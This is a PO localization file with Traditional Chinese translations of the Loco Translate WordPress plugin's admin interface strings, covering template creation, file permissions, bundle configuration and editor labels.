#: tpl/admin/list/inc-table.php:20
msgid "Sets"
msgstr "設定集"

#: tpl/admin/bundle/locale.php:32 tpl/admin/list/inc-table.php:11
msgid "Bundle name"
msgstr "套件組合名稱"

#: tpl/admin/init/init-pot.php:42 tpl/admin/init/init-prompt.php:31
msgid "About templates"
msgstr "關於譯文範本"

#: tpl/admin/init/init-prompt.php:23
msgid "This bundle doesn't define a translations template file"
msgstr "這個套件組合尚未指定 POT 譯文範本檔"

#: tpl/admin/init/init-prompt.php:19
msgid "This bundle's template file doesn't exist yet. We recommend you create it before adding languages"
msgstr "這個套件組合並未包含譯文範本檔案,建議在新增語言前先建立譯文範本檔案"

#: tpl/admin/init/init-copy.php:15 tpl/admin/init/init-prompt.php:15
msgid "Template missing"
msgstr "譯文範本已遺失"

#: tpl/admin/init/init-pot.php:30
msgid "Strings will be extracted to:"
msgstr "擷取原文內容的儲存位置:"

#. Translators: (1) Number of files excluded (2) the maximum size of file that
#. was included
#: tpl/admin/init/init-pot.php:24
msgid "Excludes %1$s file over %2$s"
msgid_plural "Excludes %1$s files over %2$s"
msgstr[0] "排除超過 %2$s 的 %1$s 個檔案"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:16
msgid "%s on disk"
msgstr "需要進行掃描的檔案總計使用 %s 的儲存空間"

#: tpl/admin/init/init-pot.php:12
msgid "Source files to scan:"
msgstr "掃描原始程式檔:"

#: tpl/admin/init/init-po.php:169
msgid "Start translating"
msgstr "開始本地化"

#: tpl/admin/init/init-po.php:159
msgid "Use this file as template when running Sync"
msgstr "執行 [同步] 時,使用這個作為譯文範本"

#: tpl/admin/file/conf.php:38 tpl/admin/init/init-po.php:139
msgid "Just copy English source strings"
msgstr "直接複製英文原文內容"

#: tpl/admin/file/conf.php:32 tpl/admin/init/init-po.php:133
msgid "Copy target translations from \"%s\""
msgstr "從 %s 複製目標譯文"

#: tpl/admin/file/conf.php:12 tpl/admin/init/init-po.php:122
msgid "Template options"
msgstr "譯文範本設定"

#: tpl/admin/init/init-po.php:77 tpl/admin/init/upload.php:15
msgid "Choose a location"
msgstr "選取檔案儲存位置"

#: tpl/admin/init/init-po.php:63
msgid "Custom language"
msgstr "自訂語言"

#: tpl/admin/init/init-po.php:51
msgid "Available languages"
msgstr "可用語言"

#: src/admin/bundle/LocaleController.php:124
#: src/admin/list/LocalesController.php:35 tpl/admin/init/init-po.php:45
msgid "Installed languages"
msgstr "已安裝的語言套件"

#: tpl/admin/init/init-po.php:44
msgid "No language selected"
msgstr "尚未選取語言"

#: tpl/admin/init/init-po.php:39
msgid "WordPress language"
msgstr "WordPress 語言"

#: tpl/admin/init/init-po.php:32
msgid "Choose a language"
msgstr "選取語言"

#: src/admin/init/InitPoController.php:389
msgid "Create template instead"
msgstr "建議改以建立譯文範本取代"

#: src/admin/init/InitPoController.php:392
msgid "You're creating translations directly from source code"
msgstr "目前正在直接掃描原始程式碼以建立譯文"

#: tpl/admin/help/tab-support.php:6
msgid "Getting help with Loco Translate"
msgstr "取得 Loco Translate 的技術支援"

#: tpl/admin/help/tab-config-apis.php:9 tpl/admin/help/tab-config.php:9
msgid "Full documentation"
msgstr "完整的線上說明"

#: tpl/admin/help/tab-config.php:6
msgid "User options apply to your WordPress login, across all sites"
msgstr "[使用者設定] 僅目前登入 WordPress 使用者可進行自訂,且全部安裝 Loco Translate 的網站均是如此"

#: tpl/admin/help/tab-config.php:5
msgid "Site options apply to all users of Loco Translate across the current site"
msgstr "[網站設定] 會套用至這個網站的全部 Loco Translate 使用者"

#: tpl/admin/help/side-bar.php:12
msgid "Support forum"
msgstr "技術支援論壇"

#: tpl/admin/file/view-mo.php:14
msgid "File is in binary MO format"
msgstr "檔案不是二進位 MO 格式"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:96
msgid "To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s"
msgstr "如需建立新檔案,必須先連線至遠端檔案系統,或讓目錄可由主機帳號 %s 進行寫入"

#: tpl/admin/file/info.php:92
msgid "This directory can't be written to directly by the web server"
msgstr "這個目錄無法由網頁伺服器直接寫入"

#: tpl/admin/file/info.php:81
msgid "Note that the file may not be deletable due to additional ownership permissions"
msgstr "請注意,由於其他擁有權權限的關係,這個檔案可能無法刪除"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:73
msgid "The containing directory is writeable by %s, so you can add new files in the same location"
msgstr "以下目錄可由主機帳號 %s 進行寫入,所以可以在相同目錄寫入新檔案"

#: tpl/admin/file/info.php:69
msgid "Directory is writeable"
msgstr "目錄為「可寫入」狀態"

#. Translators: "either" meaning that the file itself can't exist without a
#. containing directory
#: tpl/admin/file/info.php:59
msgid "The containing directory for this file doesn't exist either"
msgstr "含有這個檔案的目錄也不存在"

#: tpl/admin/file/info.php:55
msgid "Directory doesn't exist"
msgstr "目錄不存在"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:43
msgid "To make changes you'll have to connect to the remote file system, or make the file writeable by %s"
msgstr "如需進行變更,必須先連線至遠端檔案系統,或讓檔案可由主機帳號 %s 進行寫入"

#: tpl/admin/file/info.php:39
msgid "This file can't be updated directly by the web server"
msgstr "這個檔案無法由網頁伺服器直接更新"

#: tpl/admin/file/info.php:27
msgid "You can update these translations directly from the editor to the file system"
msgstr "你可以直接在譯文編輯器中將譯文更新至檔案系統內"

#. Translators: Where %s is the type of file, e.g. "po"
#: tpl/admin/file/info.php:24
msgid "%s file is writeable"
msgstr "%s 檔為「可寫入」狀態"

#: tpl/admin/file/info.php:14
msgid "File doesn't exist"
msgstr "檔案不存在"

#: tpl/admin/file/info-pot.php:27
msgid "Last extracted"
msgstr "最後擷取時間"

#: tpl/admin/file/info-po.php:88
msgid "These translations are not linked to a POT file. Sync operations will extract strings directly from source code."
msgstr "譯文並未連結至 POT 譯文範本檔,進行同步作業會直接從原始程式碼中擷取原文內容。"

#: tpl/admin/file/info-po.php:84
msgid "Missing template"
msgstr "遺失譯文範本"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:75
msgid "PO file has different source strings to \"%s\". Try running Sync before making any changes."
msgstr "PO 譯文檔有些與 %s 不同的原文內容。請在進行任何變更前,執行 [同步] 功能。"

#: tpl/admin/file/info-po.php:71
msgid "Out of sync with template"
msgstr "與譯文範本不同步"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:64
msgid "PO file has the same source strings as \"%s\""
msgstr "PO 譯文檔有著與 %s 相同的原文內容"

#: tpl/admin/file/info-po.php:60
msgid "In sync with template"
msgstr "與譯文範本同步"

#: tpl/admin/file/info-po.php:50
msgid "We can't find the binary MO file that belongs with these translations"
msgstr "找不到屬於這些譯文的二進位 MO 編譯檔"

#: tpl/admin/file/info-po.php:47
msgid "Binary file missing"
msgstr "二進位檔案已遺失"

#: tpl/admin/file/info-other.php:11
msgid "Unexpected file type"
msgstr "未預期的檔案類型"

#: tpl/admin/file/info-mo.php:41
msgid "We can't find the original PO file from which this was compiled"
msgstr "找不到可以編譯為 MO 編譯檔的原始 PO 譯文檔"

#: tpl/admin/file/info-mo.php:38
msgid "PO file missing"
msgstr "PO 譯文檔已遺失"

#: tpl/admin/file/info-mo.php:27
msgid "Compiled translations"
msgstr "已編譯的譯文"

#: tpl/admin/file/info-mo.php:24 tpl/admin/file/info-po.php:30
msgid "Last translation"
msgstr "最後翻譯時間"

#: tpl/admin/file/info-mo.php:21 tpl/admin/file/info-po.php:27
#: tpl/admin/file/info-pot.php:24
msgid "File modified"
msgstr "檔案修改時間"

#: tpl/admin/file/info-mo.php:15
msgid "compiled"
msgstr "已編譯"

#: tpl/admin/file/delete.php:30
msgid "Delete Permanently"
msgstr "永久刪除"

#: tpl/admin/file/delete.php:16
msgid "Are you sure you want to <strong>permanently</strong> delete the following file?"
msgstr "確認要<strong>永久</strong>刪除以下檔案?"

#: tpl/admin/file/delete.php:12
msgid "Confirm delete"
msgstr "確認刪除"

#. Translators: %s is a URL. Keep the <a> tag intact
#: tpl/admin/errors/no-tokenizer.php:25
msgid "You can still translate any bundle that has a <a href=\"%s\" target=\"_blank\">template</a>"
msgstr "你仍然能為具備 <a href=\"%s\" target=\"_blank\">POT 譯文範本</a>的套件組合進行本地化"

#. Translators: change "en" in the URL to your language if it's available at
#. https://www.php.net/docs.php
#: tpl/admin/errors/no-tokenizer.php:17
msgid "Loco requires the <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer extension</a> to scan PHP source code for translatable strings"
msgstr "Loco Translate 需要 <a href=\"https://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer 擴充功能</a>,以便掃描 PHP 原始程式碼並擷取可進行本地化的原文內容"

#: tpl/admin/errors/no-tokenizer.php:11
msgid "About the Tokenizer"
msgstr "關於 Tokenizer"

#: tpl/admin/errors/file-missing.php:14
msgid "Either this file is missing or the server doesn't have permission to access it"
msgstr "原因為檔案遺失或伺服器沒有存取權限"

#: tpl/admin/errors/file-missing.php:11
msgid "File not found"
msgstr "找不到檔案"

#: tpl/admin/errors/file-isdir.php:14
msgid "This page was expecting a file, but the path is actually a directory"
msgstr "在這個頁面中需要設定指向檔案,但是路徑實際上指向了一個目錄"

#: tpl/admin/errors/file-isdir.php:11
msgid "File is a directory"
msgstr "請指向檔案,而非目錄"

#: tpl/admin/config/version.php:38
msgid "You're running the latest version of Loco Translate"
msgstr "目前執行的是 Loco Translate 最新版。"

#: tpl/admin/config/version.php:17
msgid "Upgrade to %s"
msgstr "升級至 %s 版"

#: tpl/admin/config/version.php:11 tpl/admin/config/version.php:25
#: tpl/admin/config/version.php:35
msgid "Version %s"
msgstr "%s 版"

#: tpl/admin/config/settings.php:216
msgid "Allow full access to these roles"
msgstr "開放進行套件本地化權限的角色"

#: tpl/admin/config/settings.php:210
msgid "Grant access to roles"
msgstr "授予進行套件本地化權限的角色"

#: tpl/admin/config/settings.php:75 tpl/admin/config/settings.php:182
msgid "Not recommended"
msgstr "不建議"

#: tpl/admin/config/settings.php:75
msgid "Add UTF-8 byte order mark"
msgstr "加入 UTF-8 BOM (Byte Order Mark,位元組順序標記)"

#: tpl/admin/config/settings.php:52 tpl/admin/config/settings.php:58
msgid "Saving PO/POT files"
msgstr "儲存 PO/POT 檔"

#: tpl/admin/config/settings.php:37
msgid "Scan PHP files with extensions:"
msgstr "掃描指定副檔名的 PHP 檔案:"

#: tpl/admin/config/settings.php:31
msgid "Skip PHP files larger than:"
msgstr "略過超過指定大小的 PHP 檔案:"

#: tpl/admin/config/settings.php:21 tpl/admin/config/settings.php:27
msgid "Extracting strings"
msgstr "擷取原文內容"

#: tpl/admin/config/prefs.php:16 tpl/admin/config/prefs.php:20
msgid "Translator credit"
msgstr "譯者資訊"

#. translators: text field placeholder
#: tpl/admin/common/inc-table-filter.php:6
msgid "Filter..."
msgstr "篩選..."

#: tpl/admin/common/inc-fsconn.php:60
msgid "Connect"
msgstr "連線"

#. Translators: When a file or folder cannot be modified due to filesystem
#. permissions
#: tpl/admin/common/inc-fsconn.php:50 tpl/admin/file/info.php:36
#: tpl/admin/file/info.php:89
msgid "Write protected"
msgstr "寫入保護"

#: tpl/admin/bundle/view.php:55
msgid "This bundle isn't automatically compatible and requires configuring before you can use all the functions of Loco Translate"
msgstr "這個套件組合無法自動相容,且需要經過正確的設定才能使用 Loco Translate 的全部功能"

#: tpl/admin/bundle/view.php:52
msgid "unconfigured"
msgstr "尚未設定"

#: tpl/admin/bundle/view.php:35 tpl/admin/bundle/view.php:57
msgid "Click the <a href=\"%s\">setup</a> tab to complete the bundle configuration"
msgstr "按一下 [<a href=\"%s\">設定</a>] 標籤以完成套件組合的組態"

#: tpl/admin/bundle/view.php:32
msgid "This bundle isn't fully configured, so we don't know what the following files are for"
msgstr "這個套件組合尚未完整設定,所以無法得知以下檔案作用為何"

#: tpl/admin/bundle/view.php:29
msgid "Additional files found"
msgstr "找到其他檔案"

#: tpl/admin/bundle/setup.php:39
msgid "If you have trouble translating this bundle, consider asking the author for help"
msgstr "如果在為這個套件組合進行本地化時遇到問題,請直接尋求原開發者的協助"

#: tpl/admin/bundle/setup.php:36
msgid "Author details"
msgstr "開發者詳細資料"

#: tpl/admin/bundle/setup/saved.php:19
msgid "Edit config"
msgstr "編輯設定"

#: tpl/admin/bundle/setup/saved.php:14
msgid "This bundle's configuration is saved in the WordPress database"
msgstr "這個套件組合的組態已儲存於 WordPress 的資料庫中"

#: tpl/admin/bundle/setup/saved.php:11
msgid "Bundle configuration saved"
msgstr "套件組合的組態已儲存"

#: tpl/admin/bundle/setup/partial.php:14
msgid "This bundle's configuration has been automatically detected, but isn't fully complete"
msgstr "已自動偵測到這個套件組合的組態,但設定並不完整"

#: tpl/admin/bundle/setup/partial.php:11
msgid "Partially configured bundle"
msgstr "設定不完整的套件組合"

#: tpl/admin/bundle/setup/none.php:15
msgid "It needs configuring before you can do any translations"
msgstr "翻譯任何內容前,必須先進行正確的設定"

#: tpl/admin/bundle/setup/none.php:14
msgid "This bundle isn't set up for translation in a way we understand"
msgstr "這個套件組合的譯文並未依系統能接受的方式進行設定"

#: tpl/admin/bundle/setup/none.php:11
msgid "Unconfigured bundle"
msgstr "未設定的套件組合"

#: tpl/admin/bundle/setup/meta.php:14
msgid "This bundle's configuration has been automatically detected and seems to be fully compatible"
msgstr "已自動偵測到這個套件組合的組態,似乎完全相容"

#: tpl/admin/bundle/setup/inc-nav.php:25
msgid "Get help with this"
msgstr "閱讀線上說明"

#: tpl/admin/bundle/setup/inc-nav.php:22
msgid "Import config from XML"
msgstr "從 XML 匯入設定"

#: tpl/admin/bundle/setup/core.php:13
msgid "This bundle's configuration is built into Loco Translate"
msgstr "這個套件組合的組態已內建於 Loco Translate 中"

#: tpl/admin/bundle/setup/core.php:10 tpl/admin/bundle/setup/meta.php:11
msgid "Bundle auto-configured"
msgstr "已完成自動設定的套件組合"

#: tpl/admin/bundle/setup/conf.php:55
msgid "Load config"
msgstr "載入設定"

#: tpl/admin/bundle/setup/conf.php:49
msgid "If you've been given a configuration file by a developer, paste the XML code here"
msgstr "如果開發者提供了組態檔,請在這個欄位貼上 XML 程式碼"

#: tpl/admin/bundle/setup/conf.php:46
msgid "XML setup"
msgstr "XML 設定檔"

#: tpl/admin/bundle/setup/conf.php:56
msgid "Cancel"
msgstr "取消"

#: tpl/admin/bundle/setup/author.php:15 tpl/admin/bundle/setup/core.php:14
#: tpl/admin/bundle/setup/meta.php:15
msgid "You can make changes in the Advanced tab if you need to override the current settings"
msgstr "如需變更目前設定,請前往 [進階組態] 分頁進行變更。"

#: tpl/admin/bundle/setup/author.php:14
msgid "This bundle's configuration is provided by the author"
msgstr "這個套件組合的組態由開發者所提供"

#: tpl/admin/bundle/setup/author.php:11
msgid "Official configuration"
msgstr "官方組態"

#: tpl/admin/bundle/inc-po-table.php:124
msgid "No translations found for \"%s\""
msgstr "找不到 %s 的譯文"

#: tpl/admin/bundle/inc-po-table.php:57 tpl/admin/bundle/locale.php:69
msgid "Info"
msgstr "資訊"

#: tpl/admin/bundle/inc-po-table.php:60 tpl/admin/bundle/locale.php:72
msgid "Copy"
msgstr "複製"

#: tpl/admin/bundle/inc-po-table.php:51 tpl/admin/bundle/locale.php:63
msgid "Edit"
msgstr "編輯"

#: tpl/admin/bundle/inc-po-table.php:31 tpl/admin/bundle/locale.php:49
msgid "Folder"
msgstr "語言套件儲存位置"

#: tpl/admin/bundle/inc-po-table.php:28 tpl/admin/bundle/locale.php:46
#: tpl/admin/list/inc-table.php:17 tpl/admin/list/locales.php:19
msgid "Last modified"
msgstr "最後修改時間"

#: tpl/admin/bundle/inc-po-table.php:22 tpl/admin/bundle/locale.php:39
msgid "Pending"
msgstr "待審譯文"

#: tpl/admin/bundle/inc-po-table.php:16 tpl/admin/bundle/locale.php:36
#: tpl/admin/file/info-po.php:33
msgid "Translation progress"
msgstr "本地化進度"

#: tpl/admin/bundle/inc-po-table.php:13
msgid "Language"
msgstr "語言"

#: tpl/admin/bundle/conf.php:159 tpl/admin/bundle/setup/saved.php:18
msgid "Reset config"
msgstr "重設設定"

#: tpl/admin/bundle/conf.php:146
msgid "XML"
msgstr "XML"

#: tpl/admin/bundle/conf.php:144
msgid "Parent theme"
msgstr "上層佈景主題"

#: tpl/admin/bundle/conf.php:142
msgid "Add set"
msgstr "新增設定集"

#: tpl/admin/bundle/conf.php:141
msgid "Save config"
msgstr "儲存設定"

#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:134
msgid "Folders within the bundle that will never be searched for files"
msgstr "套件組合中永不進行檔案搜尋的資料夾"

#: tpl/admin/bundle/conf.php:128
msgid "Blocked paths"
msgstr "封鎖的路徑"

#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#: tpl/admin/bundle/conf.php:113
msgid "Files and folders within the bundle that contain localized PHP code"
msgstr "套件組合中存放可本地化 PHP 原始程式碼的檔案及資料夾"

#: tpl/admin/bundle/conf.php:100
msgid "Source file paths"
msgstr "原始程式檔路徑"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94 tpl/admin/bundle/conf.php:113
#: tpl/admin/bundle/conf.php:134
msgid "no wildcards"
msgstr "不支援萬用字元"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94
msgid "Folders within the bundle that contain author-supplied translations"
msgstr "套件組合中存放開發者提供的譯文檔案的資料夾"

#: tpl/admin/bundle/conf.php:89 tpl/admin/bundle/conf.php:108
msgid "Exclude"
msgstr "排除"

#: tpl/admin/bundle/conf.php:85 tpl/admin/bundle/conf.php:104
msgid "Include"
msgstr "包含"

#: tpl/admin/bundle/conf.php:81
msgid "Domain path"
msgstr "Domain Path"

#. Translators: Help tip for "Template file" field in advanced bundle config
#: tpl/admin/bundle/conf.php:75
msgid "Relative path from bundle root to the official POT file"
msgstr "從套件組合根目錄指向官方 POT 譯文範本檔的相對路徑。"

#: tpl/admin/bundle/conf.php:71 tpl/admin/common/inc-fsconn.php:12
msgid "Locked"
msgstr "鎖定"

#. Translators: Help tip for "File prefix" field in advanced bundle config
#: tpl/admin/bundle/conf.php:59
msgid "Usually the same as the text domain, but don't leave blank unless you mean to"
msgstr "通常會與 Text Domain 保持相同,除非刻意為之,否則不要留空。"

#: tpl/admin/bundle/conf.php:53
msgid "File prefix"
msgstr "檔案前置詞"

#. Translators: Help tip for "Text domain" field in advanced bundle config
#: tpl/admin/bundle/conf.php:47
msgid "The namespace into which WordPress will load translated strings"
msgstr "供 WordPress 載入譯文的命名空間。"

#: tpl/admin/bundle/conf.php:41 tpl/admin/list/inc-table.php:14
msgid "Text domain"
msgstr "Text Domain"

#. Translators: Help tip for "Project name" field in advanced bundle config
#: tpl/admin/bundle/conf.php:35
msgid "Descriptive name for this set of translatable strings"
msgstr "能夠說明這個譯文集的名稱。"

#: tpl/admin/bundle/conf.php:29
msgid "Project name"
msgstr "專案名稱"

#: tpl/admin/bundle/alias.php:17
msgid "Go to WordPress Core"
msgstr "前往 WordPress 核心程式"

#: tpl/admin/bundle/alias.php:11
msgid "\"Hello Dolly\" is part of the WordPress core"
msgstr "Hello Dolly 是 WordPress 核心程式的一部份"

#. translators: %s refers to the handle of a plugin, e.g.
#. "loco-translate/loco.php"
#: src/package/Plugin.php:225
msgid "Plugin not found: %s"
msgstr "找不到外掛: %s"

#: src/package/Header.php:93
msgid "Visit official site"
msgstr "造訪官方網站"

#: src/admin/bundle/LocaleController.php:144 src/package/Core.php:85
msgid "WordPress Core"
msgstr "WordPress 核心程式"

#: src/package/Core.php:29
msgid "https://wordpress.org/"
msgstr "https://tw.wordpress.org/"

#: src/package/Core.php:28
msgid "The WordPress Team"
msgstr "WordPress 團隊"

#: src/package/Core.php:26
msgid "WordPress core"
msgstr "WordPress 核心程式"

#. translators: (1) is the name of a PHP script, (2) is a line number in the
#. file
#: src/output/Buffer.php:130
msgid "Loco was interrupted by output from %1$s:%2$u"
msgstr "Loco Translate 從 %1$s 的第 %2$u 行開始中斷輸出"

#. translators: %s: Human-readable time difference.
#: src/mvc/FileParams.php:152
msgid "%s ago"
msgstr "%s前"

#. translators: relative time when something happened in the last 30 seconds
#: src/mvc/FileParams.php:149
msgid "Just now"
msgstr "剛剛"

#: src/mvc/FileParams.php:145
msgid "Y/m/d"
msgstr "Y/n/j"

#: src/mvc/Controller.php:49
msgid "You do not have sufficient permissions to access this page."
msgstr "目前的登入身分沒有存取這個頁面的權限。"

#: src/mvc/AjaxRouter.php:203
msgid "Download controller returned empty output"
msgstr "下載控制器傳回空的輸出"

#: src/mvc/AjaxRouter.php:198
msgid "Download action not found"
msgstr "找不到下載動作"

#: src/mvc/AjaxRouter.php:175
msgid "Ajax controller returned empty JSON"
msgstr "AJAX 控制器傳回空的 JSON"

#. translators: Fatal error where %s represents an unexpected value
#: src/mvc/AjaxRouter.php:170
msgid "Ajax route not found: \"%s\""
msgstr "找不到 AJAX 路由: %s"

#: src/mvc/AdminRouter.php:243
msgid "Page not found"
msgstr "找不到頁面"

#. translators: Page title for core WordPress translations
#: src/mvc/AdminRouter.php:56
msgid "Core translations &lsaquo; Loco"
msgstr "核心程式本地化 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:54
msgid "WordPress"
msgstr "WordPress"

#. translators: Page title for plugin translations
#: src/mvc/AdminRouter.php:51
msgid "Plugin translations &lsaquo; Loco"
msgstr "外掛本地化 &lsaquo; Loco"

#. translators: Page title for theme translations
#: src/mvc/AdminRouter.php:46
msgid "Theme translations &lsaquo; Loco"
msgstr "佈景主題本地化 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:42
msgid "Home"
msgstr "主要資訊"

#: src/mvc/AdminController.php:114
msgid "Loco Translate is powered by"
msgstr "Loco Translate 的開發者為"

#: src/mvc/AdminController.php:51
msgid "Help & support"
msgstr "線上說明及技術支援"

#. translators: List heading showing preview of translated text for each item
#: src/js/Strings.php:183
msgctxt "Editor"
msgid "Translation"
msgstr "譯文內容"

#. translators: Label for the translation editing window when no translation
#. selected
#: src/js/Strings.php:180
msgctxt "Editor"
msgid "Translation not loaded"
msgstr "譯文未載入"

#. translators: Label for the context window when no translation selected
#: src/js/Strings.php:177
msgctxt "Editor"
msgid "Context not loaded"
msgstr "譯文內容未載入"

#. translators: Label for the source text window when no translation selected
#: src/js/Strings.php:174
msgctxt "Editor"
msgid "Source text not loaded"
msgstr "原文內容未載入"

#. translators: Label for the plural form of the original English text
#: src/js/Strings.php:93 src/Locale.php:375 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Plural"
msgstr "複數型"

#. translators: Label for the singular form of the original English text
#: src/js/Strings.php:96 src/Locale.php:374 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Single"
msgstr "單數型"

#. translators: Label for the window pane for entering translator comments
#: src/js/Strings.php:159
msgctxt "Editor"
msgid "Comments"
msgstr "註解"

#. translators: Label for the window pane holding message context
#: src/js/Strings.php:156
msgctxt "Editor"
msgid "Context"
msgstr "譯文內容"

#. translators: Where %s is the name of the language, e.g. "French translation"
#. xgettext: javascript-format
#: src/js/Strings.php:153
msgctxt "Editor"
msgid "%s translation"
msgstr "「%s」譯文"

#. translators: Label for the window pane holding the original English text
#. translators: List heading showing preview of English text for each item
#: src/js/Strings.php:149 tpl/admin/file/info-pot.php:30
msgctxt "Editor"
msgid "Source text"
msgstr "原文內容"

#. translators: Generic error when external process broke an Ajax request
#: src/js/Strings.php:136
msgid "Server returned invalid data"
msgstr "伺服器傳回無效資料"

#: src/js/Strings.php:139
msgid "Check console output for debugging information"
msgstr "檢查主控台輸出的偵錯資訊"

#: src/js/Strings.php:142
msgid "Provide the following text when reporting a problem"
msgstr "回報問題時請提供以下內容"

#. translators: When text filtering reduces to an empty view
#: src/js/Strings.php:14
msgid "Nothing matches the text filter"
msgstr "沒有與文字篩選器相符的內容"

#: src/hooks/AdminHooks.php:129 tpl/ajax/modal-apis-batch.php:37
msgid "Translate"
msgstr "進行本地化"

#. translators: Error thrown when attempting to parse a file that is not a
#. supported translation file format
#: src/gettext/Data.php:25
msgid "%s is not a Gettext file"
msgstr "%s 不是符合 Gettext 規格的檔案"

#. Translators: Refers to translation files in an alternative location that
#. isn't Author, System or Custom.
#: src/fs/LocaleDirectory.php:72
msgctxt "File location"
msgid "Other"
msgstr "其他"

#. Translators: Refers to translation files in Loco's custom/protected
#. directory
#: src/fs/LocaleDirectory.php:69
msgctxt "File location"
msgid "Custom"
msgstr "自訂"

#. Translators: Refers to system-installed translation files - i.e. those under
#. WP_LANG_DIR
#: src/fs/LocaleDirectory.php:66
msgctxt "File location"
msgid "System"
msgstr "系統"

#. Translators: Refers to bundled plugin or theme translation files - i.e.
#. those supplied by the author
#: src/fs/LocaleDirectory.php:63
msgctxt "File location"
msgid "Author"
msgstr "開發者"

#: src/fs/FileWriter.php:308
msgid "File modification is disallowed by your WordPress config"
msgstr "這個 WordPress 網站的設定並未提供修改檔案的權限"

#: src/fs/FileWriter.php:297
msgid "Failed to build directory path"
msgstr "無法建立目錄路徑"

#: src/fs/FileWriter.php:289
msgid "Failed to create directory"
msgstr "無法建立目錄"

#: src/fs/FileWriter.php:253
msgid "Failed to save file"
msgstr "無法儲存檔案"

#: src/fs/FileWriter.php:243
msgid "Permission denied to update file"
msgstr "沒有更新檔案的權限"

#. translators: %s refers to a directory name which was expected to be an
#. ordinary file
#: src/fs/FileWriter.php:218
msgid "\"%s\" is a directory, not a file"
msgstr "%s 是目錄而非檔案"

#. translators: %s refers to a file name, for which a delete operation failed.
#: src/fs/FileWriter.php:201
msgid "Failed to delete %s"
msgstr "無法刪除 %s"

#. translators: (1) Source file name (2) Target file name
#: src/fs/FileWriter.php:162
msgid "Failed to copy %1$s to %2$s"
msgstr "無法從 %1$s 複製至 %2$s"

#: src/fs/FileWriter.php:151
msgid "Refusing to copy over an existing file"
msgstr "系統拒絕複製現有檔案"

#. translators: %s refers to a file name, for which the chmod operation failed.
#: src/fs/FileWriter.php:133
msgid "Failed to chmod %s"
msgstr "無法變更 %s 的權限"

#: src/fs/FileWriter.php:52
msgid "Failed to connect to remote server"
msgstr "無法連線至遠端伺服器"

#: src/error/XmlParseException.php:8
msgid "XML parse error"
msgstr "XML 剖析錯誤"

#: src/error/Warning.php:19 src/js/Strings.php:127
msgid "Warning"
msgstr "警告"

#: src/error/Success.php:19 src/js/Strings.php:133
msgid "OK"
msgstr "完成"

#: src/error/Notice.php:20 src/js/Strings.php:130
#: tpl/admin/common/inc-fsconn.php:37
msgid "Notice"
msgstr "注意事項"

#: src/error/Exception.php:163 src/js/Strings.php:124
msgid "Error"
msgstr "錯誤"

#: src/data/Permissions.php:155
msgctxt "User role"
msgid "Translator"
msgstr "譯者"

#: src/config/XMLModel.php:54
msgid "XML supplied is empty"
msgstr "XML 檔案內容為空"

#: src/config/FormModel.php:147
msgid "Text Domain cannot be empty"
msgstr "Text Domain 欄位不能為空"

#. translators: used when username of web server process is unknown
#: src/compat/PosixExtension.php:115
msgid "the web server"
msgstr "網頁伺服器"

#. translators: %s refers to the name of a new file to be created, but which
#. already existed
#: src/api/WordPressFileSystem.php:87
msgid "%s already exists in this folder"
msgstr "%s 已存在於這個資料夾中"

#: src/ajax/XgettextController.php:67
msgid "Template file created"
msgstr "譯文範本檔案已建立。"

#: src/gettext/Compiler.php:94
msgid "PO file saved, but MO file compilation failed"
msgstr "PO 譯文檔已儲存,但無法編譯為 MO 編譯檔"

#: src/gettext/Compiler.php:283
msgid "PO file saved and MO file compiled"
msgstr "PO 譯文檔已儲存且已編譯為 MO 編譯檔"

#. translators: %s refers to a directory where a backup file could not be
#. created due to file permissions
#: src/fs/Revisions.php:222
msgid "Failed to create backup file in \"%s\". Check file permissions or disable backups"
msgstr "無法於 %s 建立備份檔案。請檢查檔案權限或停用備份功能"

#: src/ajax/MsginitController.php:63
msgid "MO file exists for this language already. Delete it first"
msgstr "這個語言的 MO 編譯檔已存在,請先予以刪除"

#: src/ajax/FsConnectController.php:117
msgid "Connected to remote file system"
msgstr "連接至遠端檔案系統"

#: src/admin/list/ThemesController.php:14
msgid "Translate themes"
msgstr "佈景主題本地化"

#: src/admin/list/PluginsController.php:12
msgid "Translate plugins"
msgstr "外掛本地化"

#. translators: %s refers to the name of a translation set (theme, plugin or
#. core component)
#: src/admin/init/InitPotController.php:106
msgid "New translations template for \"%s\""
msgstr "新增 %s 的譯文範本"

#: src/admin/init/InitPotController.php:104
msgid "New template file"
msgstr "新增譯文範本檔案"

#: src/admin/init/InitPotController.php:56
msgid "Template file already exists"
msgstr "譯文範本檔案已存在"

#: src/admin/init/InitPotController.php:16
msgid "New template"
msgstr "新增譯文範本"

#: src/admin/init/InitPoController.php:223
msgid "Skip template"
msgstr "略過譯文範本"

#. translators: Were %s is number of source files that will be scanned
#: src/admin/init/InitPoController.php:280
msgid "%s source file will be scanned for translatable strings"
msgid_plural "%s source files will be scanned for translatable strings"
msgstr[0] "將對 %s 個檔案進行掃描,以便擷取可本地化的原文內容"

#. translators: 1: Number of strings; 2: Name of POT file; e.g. "100 strings
#. found in file.pot"
#: src/admin/init/InitPoController.php:249
msgid "%1$s string found in %2$s"
msgid_plural "%1$s strings found in %2$s"
msgstr[0] "在 %2$s 找到 %1$s 筆原文內容"

#: src/admin/init/InitPoController.php:119
msgid "Initializing new translations in unknown set"
msgstr "為未知的設定集進行新譯文初始化"

#. translators: %s refers to the slug/handle of a theme or plugin
#: src/admin/init/InitPoController.php:115
msgid "Initializing new translations in \"%s\""
